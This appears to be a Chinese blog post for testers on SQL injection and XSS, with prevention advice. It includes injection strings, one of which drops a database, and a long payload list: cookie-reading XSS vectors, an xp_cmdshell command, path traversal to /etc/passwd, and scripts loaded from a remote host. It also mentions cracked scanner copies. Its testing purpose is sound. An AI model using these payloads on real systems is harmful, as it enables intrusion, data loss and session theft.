前言:百科上线前经过一段时间的了解和实践,对Web安全测试有了一些理解,但没有真正敲开安全这个大门,没有发现真正的Web注入型攻击的漏洞.所以安全测试连测试报告都没有写.本文将一段时间来收集和理解的安全测试内容做一个总结.部分内容是个人理解.理解如存在问题,请告知,谢谢!概述:本文介绍SQL注入攻击和跨站脚本攻击(XSS)两个方面的攻击和测试,首先描述我个人理解,然后罗列网络上以后的文档和资料信息.
SQLInjection或者XSS攻击,根本的原理就是在浏览器客户端发送给服务器的请求中,修改请求的内容,在服务器对输入没有做全面检测时,由服务器执行带有错误脚本的请求,返回给攻击人员一些不该返回的信息,或者执行一些特殊操作.
请求中带有的参数一般分为三个方面
1. URL中带有参数
比如:http://www.xx.xx/s?op=get&val=hello,其中的Op和val就是参数名,=后面的就是参数数值
2. Http请求报文内的Post
Data,如下图中的Username还有password
3. Cookie,浏览器发送的Cookie,实际上也是发送的参数的一种形式
攻击原理总结
不管SQL注入或者XSS攻击,原理类似.都是通过修改参数,在参数中加入特殊字符,改变原有请求,让服务器做不该做的事情.
比如输入username和password,做登录操作,服务器接收后执行
Select * from power where username=’@_username’
and passwd=’@_password’
攻击者修改参数_username= aaa’ or 1=1 ; drop databases xxbc;
服务器没有做判断,接受到参数后直接放入SQL语句中执行
Select * from power where username=’ aaa’
or 1=1 ; drop databases xxbc ;and passwd=’@_password’
那么Select * from power where username=’ aaa’ or 1=1 ;语句执行肯定是成功的,后面的删除表,或者查询power表等等操作都可以执行了.数据或者被删除,或者被查看.
攻击解决方法
网络上较多Web安全编程的描述,方法有比如对所有的输入参数做判断和替换;对一些不允许直接访问的URL进行限制;等等
攻击或者检测用工具
1. 商用的Acunetix Web Vulnerability Scanner
号称是2006年X佳安全软件之一,可以针对网站进行各类Web安全漏洞扫描,拿不到最新的版本,网上有的是4.0的Crack
下图是测试开发商提供网站的结果,收获颇丰,但扫描百科网站,跑了1个晚上,只有些Braken Link错误
有兴趣的可以上网站上去了解详细信息
www.acunetix.com/vulnerability-scanner/
2. Paros开源web漏洞扫描
原理是记录被测试网站访问的所有路径,分析每个请求,针对其参数等方面进行扫描,然后记录测试结果和报告
如下图,针对指定的URL进行扫描
开源工具,可以上sourceforge上下载代码学习了解
存在欠缺的地方:误报率较高.
===========================网络资料摘录
详细原理性描述:
下面描述网络中常见的安全问题以及如何从程序的角度去防御它们,介绍如何针对安全问题进行测试.本章的主要内容是针对上章中提及的安全性问题介绍如何进行安全性测试.
1.SQL Injection(SQL注入)
(1)如何进行SQL注入测试?
首先找到带有参数传递的URL页面,如搜索页面,登录页面,提交评论页面等等.
注1:对于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在<FORM>和</FORM>的标签中间的每一个参数传递都有可能被利用.
<form id="form_search" action="/search/"
method="get"> <div> <input type="text" name="q"
id="search_q" value="" /> <input name="search" type="image"
src="/media/images/site/search_btn.gif" /> <a href="/search/"
class="fl">Gamefinder</a> </div> </form> |
注2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10
其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--
注1：根据实际情况,SQL注入请求可以使用以下语句: ' or 1=1- - " or 1=1- - or 1=1- - ' or 'a'='a " or "a"="a ') or ('a'='a
注2：为什么是OR，以及',――是特殊的字符呢？ 例子：在登录时进行身份验证时，通常使用如下语句来进行验证：sql=select * from user where
username='username' and pwd='password' 如输入http://duck/index.asp?username=admin'
or 1='1&pwd=11，SQL语句会变成以下：sql=select * from user where
username='admin' or 1='1' and password='11' '与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行. 接下来是OR查询条件,OR是一个逻辑运算符，在判断多个条件的时候，只要一个成立，则等式就成立，后面的AND就不再时行判断了，也就是说我们绕过了密码验证，我们只用用户名就可以登录. 如输入http://duck/index.asp?username=admin'--&pwd=11，SQL语句会变成以下sql=select *
from user where name='admin' --' and pasword='11', '与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行
接下来是"--"查询条件,“--”是忽略或注释,上述通过连接符注释掉后面的密码验证(注:对ACCESS数据库无效). |
最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器的相关信息;如果能说明存在SQL安全漏洞.
试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操作,这样造成的后果是非常严重的.
(2)如何预防SQL注入?
从应用程序的角度来讲,我们要做以下三项工作:
转义敏感字符及字符串(SQL的敏感字符包括:
“exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”><=!-*/()|”,和”空格”).
屏蔽出错信息：阻止攻击者知道攻击的结果
在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.
从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题:
需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符)
需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示.
当然在执行测试的过程中,我们也需求对上述两项内容进行测试.
2.Cross-site scritping(XSS):(跨站点脚本攻击)
(1)如何进行XSS测试?
<!--[if !supportLists]-->首先,找到带有参数传递的URL,如登录页面,搜索页面,提交评论,发表留言页面等等。
<!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB
scrīpt, HTML,ActiveX, Flash)来进行测试：
<scrīpt>alert(document.cookie)</scrīpt> |
注:其它的XSS测试语句
><scrīpt>alert(document.cookie)</scrīpt>
='><scrīpt>alert(document.cookie)</scrīpt>
<scrīpt>alert(document.cookie)</scrīpt>
<scrīpt>alert(vulnerable)</scrīpt>
%3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E
<scrīpt>alert('XSS')</scrīpt>
<img src="javascrīpt:alert('XSS')">
%0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp
%22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html
%3f.jsp
%3f.jsp
<scrīpt>alert('Vulnerable');</scrīpt>
<scrīpt>alert('Vulnerable')</scrīpt>
?sql_debug=1
a%5c.aspx
a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
a/
a?<scrīpt>alert('Vulnerable')</scrīpt>
"><scrīpt>alert('Vulnerable')</scrīpt>
';exec%20master..xp_cmdshell%20'dir%20
c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
%3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
%3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
../../../../../../../../etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<IMG SRC="javascrīpt:alert('XSS');">
<IMG SRC=javascrīpt:alert('XSS')>
<IMG SRC=javascrīpt:alert('XSS')>
<IMG SRC=javascrīpt:alert("XSS")>
<IMG SRC=javascrīpt:alert('XSS')>
<IMG SRC=javascrīpt:alert('XSS')>
<IMG
SRC=javascript:alert('XSS')>
<IMG SRC="jav ascrīpt:alert('XSS');">
<IMG SRC="jav ascrīpt:alert('XSS');">
<IMG SRC="jav ascrīpt:alert('XSS');">
"<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
<IMG SRC=" javascrīpt:alert('XSS');">
<scrīpt>a=/XSS/alert(a.source)</scrīpt>
<BODY BACKGROUND="javascrīpt:alert('XSS')">
<BODY ōNLOAD=alert('XSS')>
<IMG DYNSRC="javascrīpt:alert('XSS')">
<IMG LOWSRC="javascrīpt:alert('XSS')">
<BGSOUND SRC="javascrīpt:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet"
HREF="javascrīpt:alert('XSS');">
<IMG SRC='vbscrīpt:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG SRC="livescrīpt:[code]">
<META HTTP-EQUIV="refresh"
CONTENT="0;url=javascrīpt:alert('XSS');">
<IFRAME SRC=javascrīpt:alert('XSS')></IFRAME>
<FRAMESET><FRAME
SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascrīpt:alert('XSS')">
<DIV STYLE="background-image: url(javascrīpt:alert('XSS'))">
<DIV STYLE="behaviour:
url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE>
<STYLE
TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A
CLASS=XSS></A>
<STYLE
type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE>
<BASE HREF="javascrīpt:alert('XSS');//">
getURL("javascrīpt:alert('XSS')")
a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);
<XML SRC="javascrīpt:alert('XSS');">
"> <BODY ōNLOAD="a();"><scrīpt>function
a(){alert('XSS');}</scrīpt><"
<scrīpt
SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt>
<IMG SRC="javascrīpt:alert('XSS')"
<!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec
cmd="/bin/echo
'=http://xss.ha.ckers.org/a.js></scrīpt>'"-->
<IMG
SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<scrīpt a=">"
SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt a=">" ''
SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt "a='>'"
SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt>document.write("<SCRI");</scrīpt>PT
SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> |
最后,当用户浏览时便会弹出一个警告框，内容显示的是浏览者当前的cookie串,这就说明该网站存在XSS漏洞。
试想如果我们注入的不是以上这个简单的测试代码，而是一段经常精心设计的恶意脚本，当用户浏览此帖时，cookie信息就可能成功的被攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。
(2)如何预防XSS漏洞?
从应用程序的角度来讲,要进行以下几项预防:
对Javascrīpt,VB
scrīpt, HTML,ActiveX, Flash等语句或脚本进行转义.
在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.
从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查:
在需求检查过程中对各输入项或输出项进行类型、长度以及取值范围进行验证，着重验证是否对HTML或脚本代码进行了转义。
执行测试过程中也应对上述项进行检查。
